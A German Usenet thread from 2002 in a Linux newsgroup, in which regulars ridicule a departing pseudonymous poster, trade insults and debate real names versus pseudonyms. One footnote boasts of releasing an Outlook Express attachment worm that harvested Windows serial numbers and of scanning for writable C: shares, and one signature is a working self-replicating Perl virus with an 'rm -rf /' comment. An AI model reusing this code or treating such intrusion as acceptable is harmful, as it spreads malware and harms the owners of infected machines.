> verbessern zu wollen... leider hast aber auch du nicht den Auftrag dazu,
> also überlasse es den "Men in Black" hier auf der Erde für Ruhe zu
> sorgen, wenn sich kleine Ausserirdische danebenbenehmen...

Das gebe ich Dir recht :)

Den Auftrag habe ich dazu nicht, Gott sei dank !

So nun, möchte ich mich hier höflich von dieser Gruppe verabschieden,
nicht aufgrund dieser lächerlichen Nötigung wegen Namen oder Pseudonymen
sondern weil ich langsam mit euch Zeit verliere und letztendlich nichts
mehr mit euch was Sinnvolles zu besprechen habe ... ihr widersprecht
einfach alles vielleicht aus Spaß aber wir drehen dann ewig im Kreis...

Ich habe zwar was hier gelernt, aber sonst bin mir nicht sicher, ob ich
wiklich Spaß gehabt habe ...jedenfalls wollte ich im Zusammenhang mit
Linux etwas mehr lernen und wäre auch bereit gewesen, mitzuhelfen, auch
wenn ich natürlich nicht perfekt bin... aber so unter Kritiken oder
Spotten ... ne danke.

Also ich finde es vielleicht schade aber ich komme nicht mehr wieder.

Ich gehe lieber in andere Gruppen unter anderen Spitznamen, wenn ich
wieder Lust habe. Aber hier lese ich nicht mehr...und möchte auch nicht
jedesmals das korrigieren, was falsch interpretiert wird ...ja sicher
zwischen den Zeilen zu lesen ist gar nicht einfach ;-)

Ade,

Merlinux

[Detlef Neubauer]

Michael Görtz <michael....@gmx.net> writes:

> P.S.: Naechster Lernschritt sind wohl Killfiles :-)

Killfiles sind primitiv, scoren ist viel professioneller.

Mermgfurt
Detlef Neubauer
--
.oO GnuPG Key auf http://www.keyserver.net/ Oo.

[Ralf Schmidt]

Hallo $_Merlinux_$,

begin Posting.von $_Merlinux_$ <merl...@yahoo.com>:

> Also ich finde es vielleicht schade aber ich komme nicht mehr wieder.

Mach bloß keine leeren Versprechungen!

> Ich gehe lieber in andere Gruppen unter anderen Spitznamen, wenn ich
> wieder Lust habe. Aber hier lese ich nicht mehr...und möchte auch nicht
> jedesmals das korrigieren, was falsch interpretiert wird ...ja sicher
> zwischen den Zeilen zu lesen ist gar nicht einfach ;-)

Spitznamen: $_Merwindows_$ macht sich gut.
Andere Gruppen:
news:microsoft.* und de.alt.gruppenkasper sind die passenden für Dich.

ciao

Ralf Schmidt

PS: Vergeß nicht Deine Mailbox zu ändern.

--
end
<STRG><F3>

[Michael Raab]

at Tue, 13 Aug 2002 16:38:33 +0200 anonymous wrote:
> Kim Huebel schrieb:
> > Nicht nur du/sie/er/es... es gibt derer viele, die sich "beruflich"
> > in dieser (und auch in anderen) Newsgroups aufhalten um entweder
> > a) sich weiterzubilden
> > b) akute Probleme zu diskutieren
> > c) ihrer Phantasie freien lauf zu lassen
> > d) aus persönlichen Profilierungsgründen heraus...
>
> Das möchte ich gerne glauben und ich zweifle nicht daran... es sind ja
> Leute hier, die gar nicht mit unserer Auseinandersetzung zu tun haben.
>
> Ich verstehe auch Humor aber das hat ja auch eine Grenze oder ?

Die Grenze ist überschritten, wenn man mit Staatsanwaltschaft o.ä.
droht.

> Auf der Dauer das nervt einfach ... vor allem für Neulinge wie ich,
> die nicht einmal eure Sprache werstehen, wie Killfiles, Fup, und diese
> komische Verfügung auf unbestimmte Zeit usw... offensichtlich seid ihr
> alle Jugendlichen oder was ?? Ich weiß auch nicht, was eine
> Merkbefreiung ...und und und ... das ist mir schließlich egal.

Du hast anscheint lange recherchiert, um diese Seite, zur Anonymität im
UseNet, auswindig zu machen. Diese Energie hättest Du auch aufbringen
sollen, um sich mit den Regeln im UseNet vertraut zu machen.

> ... ihr widersprecht einfach alles vielleicht aus Spaß aber wir drehen
> dann ewig im Kreis...

Die bisherigen Widersprüche waren ja auch soweit Gerechtfertigt.

Bye Michael

--
Der Computer ist die logische Weiterentwicklung
des Menschen: Intelligenz ohne Moral

[Jens Richter]

Ralf Schmidt <slrnaliajb.h...@ws1.pc-station.de> wrote:

> Hallo $_Merlinux_$,

> Spitznamen: $_Merwindows_$ macht sich gut.

Das ist eine technische ng! Deshalb nur: $_Mulinex_$
scnr
Jens

[Michael Raab]

Hallo Jens,

gesiggt. *lol*

Bye Michael

--
Dogs crawl under fences... software crawls under Windows 9x.

[Bernd Mayer]

Hallo Jens,

aber nur mit dem Zertifikat für "echte Kinder"

SCNR

Bernd Mayer
--
Linux - more power for less bucks.

[Schnallnex Froshe]

"$_Merlinux_$":

> Ich kann euch übrigens zusichern, daß es bereits eine Menge Leute sind,
> die sich gegen euch beschweren und das wird eine Angelegenheit der
> Justiz werden. Psychologischer Terror entgegen des Grundgesetzes ist
> allerdings inakzeptabel... soweit in der Art, daß es nicht vom Spaß die
> Rede werden kann.

DIE JUSTIZ IST BEREITS HIER!

***KANTON MOSHE***
*DIE* *ERSTE* *PERSÖNLICHKEIT*

*URTEIL*

Der Einzelrichter stellt fest:

1. Merlinux weist eine sehr hohe Arschlochizität auf.

2. Demnach sind sichernde Massnahmen zu ergreifen.

3. Aufgrund der sehr hohen Arschlochizität ist eine
Einsperrung auf unbegrenzte Zeit ohne weiteres
Urteil in Betracht zu ziehen.

4. Weitere Massnahmen scheinen angemessen.

5. Aufgrund offensichtlicher Verwirrtheit des Anzeigers ist auf
seine Ausführungen nicht näher einzugehen.

und verfügt:

1. Merlinux wird auf unbestimmte Zeit in die Güllegrube
geworfen.

2. Merlinux gilt ab sofort als Troll. Seine zukünftige
amtliche Anrede ist: "Troll" oder auch
"Denkallergiker".

3. Die Kosten von Fr. 310 trägt Merlinux.

4. Weitere Sicherungsmassnahmen können durch alle
Einzelrichter mit erweiterten Kompetenzen
nach Bedarf angeordnet werden.

5. Mitteilung an de.alt.gruppenkasper zur Archivierung.

6. Gegen dieses Urteil gibt es kein Rechtsmittel.

*KANTON* *MOSHE*
*DER* *GERICHTSPRÄSIDENT*

S. Froshe

> Weiterleitung an andere NG nicht gestattet.
> - Forwarding to another NG not allowed -

*BESCHLUSS*

1. Wegen verwerflicher Handlung durch diese
Sätze ergeht ein Bussgeld von Fr. 310.

2. Mitteilung an de.alt.gruppenkasper zur Archivierung.

3. Gegen diesen Beschluss gibt es kein Rechtsmittel.

*KANTON* *MOSHE*
*DER* *GERICHTSPRÄSIDENT*

S. Froshe

[M. Buchenrieder]

[Note Fup2]

"$_Merlinux_$" <merl...@yahoo.com> writes:

[...]

>kann euch teuer werden, denn ihr wisset nicht aus welchem Amt ich bin.

Deinem Textfluss nach zu urteilen aus dem Amt fuer lernresistente
Legastheniker, HA2, Parterre gleich links.

[...]

> &**.Merlinux.**& from Germany
> - A+ CCNA MCSE -

Warum erstaunt mich das nicht..

>Weiterleitung an andere NG nicht gestattet.
> - Forwarding to another NG not allowed -

Groehl.

Michael
--
Michael Buchenrieder * mi...@scrum.greenie.muc.de * http://www.muc.de/~mibu
Lumber Cartel Unit #456 (TINLC) & Official Netscum
Note: If you want me to send you email, don't munge your address.

[Dennis Fox]

"M. Buchenrieder" <mi...@scrum.muc.de> schrieb:

>> - A+ CCNA MCSE -
>

Bei Userfriendly gab es da mal so ein Zertifikat: Minesweeper Consultant
and Solitiar Expert.

SCNR,

Dennis
--
Für einen neuen Monitor bitte hier ==>[X]<== einen Nagel einschlagen.

[Joerg Hohn]

warum füttert Ihr den Troll?
--
Think of your family tonight. Try to crawl home after the computer
crashes.

[Joerg Hohn]

Dennis Fox wrote:

> Bei Userfriendly gab es da mal so ein Zertifikat: Minesweeper Consultant
> and Solitiar Expert.

und wieder was für die sig sammlung :o)

[Dennis Fox]

"Joerg Hohn" <joerg...@gmx.net> schrieb:

> Dennis Fox wrote:
>
>> Bei Userfriendly gab es da mal so ein Zertifikat: Minesweeper
>> Consultant and Solitiar Expert.
>
> und wieder was für die sig sammlung :o)
>

Kann DIr das Buld mal schicken....

[Hauke Zuehl]

Dennis Fox tipperte:

> Kann DIr das Buld mal schicken....

Poste doch den Link.

>
> Dennis

Gruss,
Hauke
--
"Wir haben nicht durchdacht, wie wir weniger Kosten als Linux
verursachen koennen."
(Steve Ballmer, Microsoft CEO)

[Hauke Zuehl]

Joerg Hohn tipperte:

> warum füttert Ihr den Troll?

Vorbereitung auf's Weihnachtsfest *g*

SCNR

[Marcus Frings]

Dennis Fox <defox.d...@gmx.de> wrote:

> Bei Userfriendly gab es da mal so ein Zertifikat: Minesweeper Consultant
> and Solitiar Expert.

"Must Consult Someone Experienced" gefällt mir persönlich auch gut. (Ist
aber keine Erfindung von mir...)

Gruß,
Marcus
--
Fickle minds, pretentious attitudes
and ugly make-up on ugly faces...
The Goth Goose Of The Week: http://www.gothgoose.net

[Bert Buchholz]

Marcus Frings schrub:

> Dennis Fox <defox.d...@gmx.de> wrote:
>
>> Bei Userfriendly gab es da mal so ein Zertifikat: Minesweeper Consultant
>> and Solitiar Expert.
>
> "Must Consult Someone Experienced" gefällt mir persönlich auch gut. (Ist
> aber keine Erfindung von mir...)

http://www.bpfh.net/microsoft/what-mcse-stands-for.html

;-)

Bert

[Volker Moell]

Hauke Zuehl wrote:
>
> > Kann DIr das Buld mal schicken....
> Poste doch den Link.

http://ars.userfriendly.org/cartoons/?id=20000213

-volker

--
http://die-Moells.de/ * http://Stama90.de/ * http://ScriptDale.de/
"Diese Zeitreisen sind einfach zu gefährlich. Deswegen sollte ich lieber
die anderen Rätsel und Geheimnisse des Universums erforschen: Die Frauen."
-- Doc Brown, "Zurück in die Zukunft II"

[Juergen Ilse]

Hallo,

Peter Hennicke <p...@maddoc.inka.de> wrote:
> was hat es eigentlich mit den Softlinks aufsich?
> Und wie kann ich sie sinnvoll anwenden?

Besorg dir ein gutes unix/Linux Grundlagenbuch, da kannst du es nachlesen.
Softlinks sind etwas wie ein "Umleitungsschlid" fuer den Dateizugriff:
Wird versucht, den Softlink zu oeffnen, wird dazu auf die Datei zurueck-
gegriffen, auf die der Softlink zeigt. Im Gegensatz zu Hardlinks wird
aber auf den Dateinamen und nicht auf den inode verwiesen. Wenn also die
Datei, auf die der Softlink zeigt, geloescht wird, zeigt der link ins
Leere und man kann nicht mehr zugreifen, bei einem Hardlink dagegen kann
man ueber den Link immer noch zugreifen (dafuer gehen Hardlinks nicht
ueber Filesystemgrenzen hinaus).

Tschuess,
Juergen Ilse (jue...@usenet-verwaltung.org)
Juergen Ilse (il...@usenet-verwaltung.org)
--
Das Netz ist Freude. Es ist Ekstase, die jeden einzelnen Nerv erglühen
läßt. Es ist Duft, den man fühlt. Es ist ein Bild, das man riecht.
Es ist Erfüllung - ein Geschmack, neben dem alles andere schal ist.
("Netzreiter-Preisung" aus dem Buch "Der Netzparasit" von Andreas Brandhorst)

[Marcus Frings]

Bert Buchholz <bertbu...@gmx.de> wrote:

> http://www.bpfh.net/microsoft/what-mcse-stands-for.html
> ;-)

Wow, so viele Abkürzungen für MCSE kannte ich noch nicht! :-) Danke für
den Link.

[Thomas Skora]

Michael Görtz <michael....@gmx.net> writes:

>A.Grund, P. Fichter, M. Raab, T. Skora, I. Wehrenberg,
> R. Weikusat, R. Socha, H. Schlenker

Wow! Mein Name wird in einem Atemzug mit meinem Idol Robin S. Socha
und diversen Regulars genannt ;-)

SCNR,
Thomas

[Rudolf Polzer]

Scripsit illa aut ille $_Merlinux_$ <merl...@yahoo.com>:
> An alle Regulars !
^
Das macht man nicht. Heißt im Usenet "plenken" - eben ergoogelt:

http://www.informatik.uni-oldenburg.de/~fsinfo/material/Archiv/Zeitung/error_23/error_23.html
| Schwieriger wird es schon mit der Frage, was denn ein Fehler ist.
| Rechtschreibfehler werden ja noch erkannt, Kommafehler gehen auch noch,
| aber z.B. Leerzeichen vor Satzzeichen, drei Punkte statt einer Ellipse,
| Hochkommata statt Anführungszeichen oder Binde- statt Gedankenstrichen?
| Auch das sind richtige Fehler, die genauso wie Rechtschreibfehler
| behandelt werden müssen. Wer nicht weiß, was richtig ist (gehört hinter
| einen Gedankenstrich immer ein Leerzeichen?), sollte auch mal einen Blick
| in den Duden werfen, dort gibt es einen Abschnitt mit »Regeln für den
| Schriftsatz«. Auch das unten genannte Buch gibt viele Hinweise. Wer nicht
| weiß, wie er mit seinem Textverarbeitungssystem die entsprechenden Zeichen
| erzeugt, sollte mal einen Blick in das Handbuch werfen, genauso wie bei
| unklarer Schreibweise ein Blick in den Duden erfolgen muß.

Auch interessant dürfte http://www.sdbk.de/typo/typografie.pdf sein.

Tja, sowas steht tatsächlich im Duden - und hat sich durch die
Rechtschreibreform nicht geändert.

> Und an alle, die mitlesen...
>

> Wenn ich nicht mehr so konzentriert bin,
> so daß ich *leider* einige Fehler aus Versehen mache,
> ist es letztendlich euer Schuld mit eurem *Terror* als
> Regulars.

Du musst auch die andere Seite sehen. Ich hoffe mal, dass du gemerkt
hast, dass ein großer Teil dessen, was du geschrieben hast, Mist war -
das Blocken von ICMP zum Beispiel bringt rein gar nichts (wenn ich dir
die Verbindung abschneiden will, kann ich das auch ohne ICMP).

Zumal: wenn ich dir ein ICMP-Paket "host unreachable" unterjubeln kann,
kann ich dir auch ein TCP RST unterjubeln und dir damit die vorhandene
Verbindung trennen - oder - deutlich einfacher - deine Verbindung
"verstopfen" (das kann jeder Depp, der einen Wurm schreibt - ich habe es
selbst mal probiert [1]). Der DoS ist also ohnehin kein Argument - oder
sperrst du auch alle TCP RST Pakete (das wäre dann wenigstens
konsequent)?

[1]: Einen billigen Attachment-Wurm für OjE geschrieben (das Attachment
war eine EXE-Datei und hieß "www.deppentest.at.com", was mit und
ohne Dateiendung wie ein Domainname aussieht), der sich einfach nur
weiterverschickt hat (sich also nirgends auf der Platte gespeichert
hat - wozu auch?), aber nur bis 30 Tage nach Start der Verbreitung.
In diesen 30 Tagen hatte ich 2000 verschiedene Rechner erwischt
(IMHO ziemlich wenig - aber genauer gesagt: ich hatte 2000
verschiedene Windows-Seriennummern empfangen, die ich jetzt
natürlich alle wieder vernichtet habe). Mit diesen 2000 Rechnern
hätte man durchaus einen wirksamen DDoS hinbekommen.

Damals hatte ich jedoch noch nicht an die vielen Windowsrechner
gedacht, die ihr Laufwerk C an die ganze Welt zum Schreiben
freigeben - das dürften auch deutlich mehr als 2000 sein, sondern
etwas mehr.

Ich habe eben eine Stichprobe durchgeführt und kann mit einer
Irrtumswahrscheinlichkeit von 5% sagen, dass es mindestens ca.
350000 davon gibt.

[...]

> Denn im Moment konzentriere ich mich, eine Liste zu erstellen,
> von denen, die noch weiter *meine Unterlassung* mißachten,

Du meinst deine Forderung nach Unterlassung.

> keine weiteren Posting von mir an andere Newsgruppen weiterzuleiten !

Was genau verstehst du unter Weiterleitung? Darauf gab es noch keine
Antwort. Im wörtlichen Sinne ist eine Weiterleitung ein Fullquote ohne
jegliche eigene Inhalte (von der attribution line mal abgesehen),
gekennzeichnet durch ein "Fw:" im Subject. Das meinst du jedoch
sicher nicht.

Also, hier noch einmal die Frage:

Eine Weiterleitung in eine andere NG in $_Merlinux_$' Sinne ist
(bei Radiobuttons ist einer und nur einer auszuwählen):

( ) Ein Fullquote eines Postings, das in einer anderen NG gepostet
wurde, ohne eigene Inhalte und am Subject klar als Weiterleitung
("Fw:") gekennzeichnet.

( ) Ein Fullqoute eines Postings in einer anderen NG.

( ) Ein Crossposting in eine andere NG mit Komplettzitat und
Followup-To: in diese Gruppe.

( ) Zitat eines beliebig kleinen Textabschnittes in einer anderen
NG.

( ) Zitat oder Paraphrasierung eines beliebig kleinen Textabschnittes
in einer anderen NG.

( ) Sonstiges: ___________________________________________________
______________________________________________________________
______________________________________________________________
______________________________________________________________
______________________________________________________________
______________________________________________________________

Bevor du definierst, was eine Weiterleitung in deinem Sinne ist, kannst
du niemandem unterstellen, eine solche "begangen" zu haben.

> Ich erlaube mir, Sie zu bitten, sich den Bericht an der genannten
> Adresse nicht als Lernresistent in Erfahrung zu bringen und sich somit
> von den unhöflich spielenden Regulars zu distanzieren ... danke ;-)
>
> www.realname-diskussion.info/realname.htm

Dass es dazu eine eigene Domain gibt, heißt noch lange nicht, dass
dieser Text in vollem Umfang sinnvoll ist.

--
#!/usr/bin/perl -- Exercise: prove _or_ disprove that _all_ digits
############################ displayed are 1! s/^/4711081542426/g;
use strict;$|=@_=$0=2;for(;;){do{++$0}while('@'x$0)=~/^(..+)\1+$/;
push@_,$0;for((2-@_)..0){$_[-$_]=abs($_[-$_]-$_[1-$_])}print$_[0]}

[Immo 'FaUl' Wehrenberg]

begin followup to the posting of Rudolf Polzer

>> Ich erlaube mir, Sie zu bitten, sich den Bericht an der genannten
>> Adresse nicht als Lernresistent in Erfahrung zu bringen und sich somit
>> von den unhöflich spielenden Regulars zu distanzieren ... danke ;-)
>>
>> www.realname-diskussion.info/realname.htm
> Dass es dazu eine eigene Domain gibt, heißt noch lange nicht, dass
> dieser Text in vollem Umfang sinnvoll ist.

Hast du dir das mal Durchgelesen? Es ist schluessig und sinnvoll, IMO.
Zur Zeit nervt mich das ewige: "Du hast keinen Realnamen, geh sterben!"
gesuelze was fast zu 99% in einen ellenlangen Flamewar ausufert zur Zeit
extrem.

FaUl
end
This article does not support incompatible and broken newsreaders.
--
"Gestern fragte mich jemand, warum er sein Java-Programm nicht kompilieren
konnte. Und ich sagte: "RTFM"
Der Besagte tat, wie ihm geheissen und tippte brav: "javac -rtfm ...."
Seitdem bin ich vorsichtig geworden, RTFM zu empfehlen...." - Detlef Bosau

[Rudolf Polzer]

Scripsit illa aut ille Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org>:

> begin followup to the posting of Rudolf Polzer
> >> Ich erlaube mir, Sie zu bitten, sich den Bericht an der genannten
> >> Adresse nicht als Lernresistent in Erfahrung zu bringen und sich somit
> >> von den unhöflich spielenden Regulars zu distanzieren ... danke ;-)
> >>
> >> www.realname-diskussion.info/realname.htm
> > Dass es dazu eine eigene Domain gibt, heißt noch lange nicht, dass
> > dieser Text in vollem Umfang sinnvoll ist.
>
> Hast du dir das mal Durchgelesen?

Durchaus. Der größte Teil davon sind durchaus sinnvolle Argumente - aber
nicht alles.

> Es ist schluessig und sinnvoll, IMO. Zur Zeit nervt mich das ewige:
> "Du hast keinen Realnamen, geh sterben!" gesuelze was fast zu 99% in
> einen ellenlangen Flamewar ausufert zur Zeit extrem.

ACK, man übertreibt es damit völlig. Beide Seiten liegen daneben und die
Fronten sind festgefahren.

Fakt ist aber, dass von Pseudos *statistisch gesehen* mit höherer
Wahrscheinlichkeit Müll kommt als von Realnames. Es liegt vor allem
daran, dass jemand, der bewusst die Gruppe zumüllen will (ein Troll
also), diese scheinbare Anonymität sehr verlockend findet und ausnutzt.
Das lässt allerdings umgekehrt keine Rückschlüsse auf Einzelfälle zu,
rechtfertigt aber das Filtern gegen Pseudonyme und die Empfehlung, doch
bitte einen vollen Namen zu verwenden (so dass man auch von diesen
Leuten, die aus sehr verständlichen Gründen gegen Pseudos filtern).

Allerdings gehört das hier nicht rein.

Fup2p

--
- Macs sind für die, die nicht wissen wollen, warum Ihr Rechner funzt.
- Linux ist für die, die wissen wollen, warum er funzt.
- DOS ist für die, die wissen wollen, warum er nicht funzt und
- Windows ist für die, die nicht wissen wollen, warum er nicht funzt.

[Michael Raab]

at Wed, 14 Aug 2002 14:54:48 GMT Immo 'FaUl' Wehrenberg wrote:
> begin followup to the posting of Rudolf Polzer
> > > Ich erlaube mir, Sie zu bitten, sich den Bericht an der genannten
> > > Adresse nicht als Lernresistent in Erfahrung zu bringen und sich
> > > somit von den unhöflich spielenden Regulars zu distanzieren ...
> > > danke ;-)
> > > www.realname-diskussion.info/realname.htm
> >
> > Dass es dazu eine eigene Domain gibt, heißt noch lange nicht, dass
> > dieser Text in vollem Umfang sinnvoll ist.
>
> Hast du dir das mal Durchgelesen? Es ist schluessig und sinnvoll, IMO.

ACK

> Zur Zeit nervt mich das ewige: "Du hast keinen Realnamen, geh
> sterben!" gesuelze was fast zu 99% in einen ellenlangen Flamewar
> ausufert zur Zeit extrem.

Man sollte auch bedenken, das man sich nicht über eine Gesetzgebung bzw.
über das Recht des einzelnen hinweg setzen darf.

Es gibt Diskussionsforen, wo es für die Betroffenden angebracht ist
(z.B. Diskussionsforen für Sexuell Misbrauchte Personen, die sich selber
"Überlebende" nennen), anonym Aufzutreten. Wiederum gibt es auch
Diskussionforen, wo es eher unangebracht ist. In einer technischen NG,
so wie diese, ist es eher unangebracht.

Aber der Anonymous "Mulinex" hat dies IMHO nur zum Vorwand genommen, um
einwenig rumzustänkern.

Bye Michael

--
Windows is a pane in the ASCII.

[Rudolf Polzer]

Scripsit illa aut ille Michael Raab <now...@macbyte.info>:

> Aber der Anonymous "Mulinex" hat dies IMHO nur zum Vorwand genommen, um

^^^
s/Ano/Pseudo/

Da gibt es durchaus einen Unterschied.

> einwenig rumzustänkern.

Recht hast du aber: die Haluks und Merlinuces sowie die Nomines Nescimus
(die eigentlich Nomen Nescientes heißen müssten) sind es, die an dem
schlechten Ruf der "Pseudos" schuld sind.

Merlinux: ich hoffe mal, ich habe deinen Namen korrekt in den Plural
gesetzt. Wenn nicht, bitte ich um Korrektur.

--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

[Michael Raab]

at Wed, 14 Aug 2002 18:38:04 +0200 Rudolf Polzer wrote:
> Scripsit illa aut ille Michael Raab <now...@macbyte.info>:

> > einwenig rumzustänkern.
>
> Recht hast du aber: die Haluks und Merlinuces sowie die Nomines

> Nescimus(die eigentlich Nomen Nescientes heißen müssten) sind es, die

> an dem schlechten Ruf der "Pseudos" schuld sind.

Hätte Merlinux nicht so auf das Recht bestanden, anonym zu bleiben. Und
wäre nicht nur Dummfug rübergekommen. Hätte man ihn evtl. auch ernst
genommen. Ich will damit nun nicht sagen, das man mit einem Realnamen
weniger Fehler macht, als mit einem Pseudonym.

Bye Michael

--
The Microsoft Motto: "We're the leaders, wait for us!"

[Juergen Ilse]

Hallo,

Michael Raab <now...@macbyte.info> wrote:
> Hätte Merlinux nicht so auf das Recht bestanden, anonym zu bleiben. Und
> wäre nicht nur Dummfug rübergekommen.

In diesem Punkt stimme ich mit dir *nicht* ueberein. Das Auftreten unter
Pseudonym ist eine Sache (eine, die vielen wichtig ist), aber sein sons-
tiges Auftreten (einschliesslich einem Ansatz von "Prahlerei mit Computer-
Erfahrung") war auch nicht gerade dazu geeignet, dumme Antworten zu ver-
meiden ...

> Hätte man ihn evtl. auch ernst genommen.

IMHO eher weniger. Er reagierte IIRC auch teils auf gut gemeinte
Ratschlaege von langjaehrigen Linux-Usern mit eindeutig erheblich
mehr Linux-Erfahrung als bei ihm zu finden ist trotzig. Das fuehrt
nur bei sehr wenigen Leuten dazu, jemanden wirklich ernst zu nehmen.

> Ich will damit nun nicht sagen, das man mit einem Realnamen
> weniger Fehler macht, als mit einem Pseudonym.

Stimmt. Realname heisst auch nicht zwangslaeufig, dass die Postings
freundlicher, fachkundiger, sachlicher, ... ausfallen. Man lernt
aber mit der Zeit, was man von welchen Realnamensusern zu erwarten
hat und kann anhand dessen sehr genau entscheiden, wessen Beitraege
man lesen moechte und wessen nicht. Bei Pseudonymen (die dann evt.
von manchen auch noch regelmaessig geaendert werden) ist eine solche
"Anpassung" weniger einfach.

Tschuess,

[Michael Raab]

at 15 Aug 2002 09:50:03 GMT Juergen Ilse wrote:
> Michael Raab <now...@macbyte.info> wrote:
> > Hätte Merlinux nicht so auf das Recht bestanden, anonym zu bleiben.
> > Und wäre nicht nur Dummfug rübergekommen.
>
> In diesem Punkt stimme ich mit dir *nicht* ueberein. Das Auftreten
> unter Pseudonym ist eine Sache (eine, die vielen wichtig ist), aber
> sein sons- tiges Auftreten (einschliesslich einem Ansatz von
> "Prahlerei mit Computer- Erfahrung") war auch nicht gerade dazu
> geeignet, dumme Antworten zu ver- meiden ...

Ok, da hast Du Recht.

> > Hätte man ihn evtl. auch ernst genommen.
>
> IMHO eher weniger. Er reagierte IIRC auch teils auf gut gemeinte
> Ratschlaege von langjaehrigen Linux-Usern mit eindeutig erheblich
> mehr Linux-Erfahrung als bei ihm zu finden ist trotzig.

Ich hatte das Gefühl, das er meint der "Hecht" zu sein und die anderen
sind nur dummes Fussvolk.

Wenn man in eine neue Gemeinschaft eintritt, sollte man zuanfangs kleine
Brötchen backen.

> Das fuehrt nur bei sehr wenigen Leuten dazu, jemanden wirklich ernst
> zu nehmen.

Das stimmt auch wieder.

> > Ich will damit nun nicht sagen, das man mit einem Realnamen
> > weniger Fehler macht, als mit einem Pseudonym.
>
> Stimmt. Realname heisst auch nicht zwangslaeufig, dass die Postings
> freundlicher, fachkundiger, sachlicher, ... ausfallen. Man lernt
> aber mit der Zeit, was man von welchen Realnamensusern zu erwarten
> hat und kann anhand dessen sehr genau entscheiden, wessen Beitraege
> man lesen moechte und wessen nicht.

Klar, das bringt die Erfahrung mit sich.

> Bei Pseudonymen (die dann evt. von manchen auch noch regelmaessig
> geaendert werden) ist eine solche"Anpassung" weniger einfach.

ACK

--
"Wenn dich alles verlassen hat, kommt das Alleinsein. Wenn du alles
verlassen hast, kommt die Einsamkeit."
-- Schiller

[Hauke Zuehl]

Moin, Juergen

Juergen Ilse tipperte:

> Hallo,

>
>
> In diesem Punkt stimme ich mit dir *nicht* ueberein. Das Auftreten unter
> Pseudonym ist eine Sache (eine, die vielen wichtig ist), aber sein sons-
> tiges Auftreten (einschliesslich einem Ansatz von "Prahlerei mit
> Computer- Erfahrung") war auch nicht gerade dazu geeignet, dumme
> Antworten zu ver- meiden ...

...deshalb hat er sich wohl auch nach schule.schueler.linux
zurueckgezogen...

> IMHO eher weniger. Er reagierte IIRC auch teils auf gut gemeinte
> Ratschlaege von langjaehrigen Linux-Usern mit eindeutig erheblich mehr
> Linux-Erfahrung als bei ihm zu finden ist trotzig. Das fuehrt nur bei
> sehr wenigen Leuten dazu, jemanden wirklich ernst zu nehmen.

...wo (s.o.) er wohl auch in diversen Killfiles gelandet ist :)

>
> Tschuess,
> Juergen Ilse (il...@usenet-verwaltung.org)

[Thomas Skora]

Michael Raab <now...@macbyte.info> writes:

> Ich will damit nun nicht sagen, das man mit einem Realnamen weniger
> Fehler macht, als mit einem Pseudonym.

Mit einem Realnamen denkt man aber noch etwas mehr über das
geschriebene nach. Schließlich unterschreibt man da mit dem eigenem
Namen.

Thomas

[Michael Raab]

Das ist richtig. Da sonst schnell das eigene Ego angekratzt werden kann.

Bye Michael

--
"Der Plural von Lebensgefahr lautet Lebensgefährtin."
-- unbekannt

[Thomas Kaschwig]

* Michael Raab <none...@macbyte.info> wrote:

> at Thu, 15 Aug 2002 12:57:55 +0200 Thomas Skora wrote:

> > Mit einem Realnamen denkt man aber noch etwas mehr über das
> > geschriebene nach. Schließlich unterschreibt man da mit dem eigenem
> > Namen.
>
> Das ist richtig. Da sonst schnell das eigene Ego angekratzt werden kann.

Wobei ich gerne mal wüsste, wieviele der unverdächtig aussehenden
"Realnames" in Wahrheit auch Pseudonyme sind. Nicht jeder ist so plump
und nennt sich "Merlinux" oder "Haluk".

Gruß
Thomas

--
Thomas Kaschwig * ne...@kaschwig.net * http://www.kaschwig.net/
PGP: http://www.kaschwig.net/public.key.asc * KeyID: 0x3D68D63A

[Michael Raab]

at Thu, 15 Aug 2002 14:35:47 +0200 Thomas Kaschwig wrote:
> * Michael Raab <none...@macbyte.info> wrote:
> > at Thu, 15 Aug 2002 12:57:55 +0200 Thomas Skora wrote:
> > > Mit einem Realnamen denkt man aber noch etwas mehr über das
> > > geschriebene nach. Schließlich unterschreibt man da mit dem
> > > eigenem Namen.
> >
> > Das ist richtig. Da sonst schnell das eigene Ego angekratzt werden
> > kann.
>
> Wobei ich gerne mal wüsste, wieviele der unverdächtig aussehenden
> "Realnames" in Wahrheit auch Pseudonyme sind.

Man kann ja diejenigen ausschliessen, die eine eigene Domain als
Absender nutzen. Diejenigen mit gmx & co. könnten evtl. Pseudonyme sein.

> Nicht jeder ist so plump und nennt sich "Merlinux" oder "Haluk".

Daran kann man erkennen, das solche Leute kaum Phantasie haben.

Bye Michael

--
If at first you don't succeed, you must be using Windows.

[Immo 'FaUl' Wehrenberg]

begin followup to the posting of Michael Raab

>
> at Thu, 15 Aug 2002 14:35:47 +0200 Thomas Kaschwig wrote:
>> * Michael Raab <none...@macbyte.info> wrote:
>> > at Thu, 15 Aug 2002 12:57:55 +0200 Thomas Skora wrote:
>> > > Mit einem Realnamen denkt man aber noch etwas mehr über das
>> > > geschriebene nach. Schließlich unterschreibt man da mit dem
>> > > eigenem Namen.
>> >
>> > Das ist richtig. Da sonst schnell das eigene Ego angekratzt werden
>> > kann.
>>
>> Wobei ich gerne mal wüsste, wieviele der unverdächtig aussehenden
>> "Realnames" in Wahrheit auch Pseudonyme sind.
> Man kann ja diejenigen ausschliessen, die eine eigene Domain als
> Absender nutzen. Diejenigen mit gmx & co. könnten evtl. Pseudonyme sein.

So, wie willst du herausfinden ob hinter faul.dyndns.org wirklich
Immo Wehrenberg sitzt? Hint: holomann.de gehoert mir auch nicht.

FaUl
end
This article does not support incompatible and broken newsreaders.
--

Ein Computerterminal ist kein klobiger alter Fernseher, vor dem eine
Schreibmaschinentastatur liegt. Es ist eine Schnittstelle, an der sich
Körper und Geist mit dem Universum zusammenschalten und Teile davon
durch die Gegend bewegen können. [Douglas Adams]

[Wolfgang Kaufmann]

* Thus spoke Michael Raab <none...@macbyte.info>:

Hallo,

>> Wobei ich gerne mal wüsste, wieviele der unverdächtig aussehenden
>> "Realnames" in Wahrheit auch Pseudonyme sind.

Das dürfen wir Dir aber nicht verraten, sonst merkst Du, dass hinter uns
allen nur eine Person steckt. ;-)

> Man kann ja diejenigen ausschliessen, die eine eigene Domain als
> Absender nutzen.

Wieso?

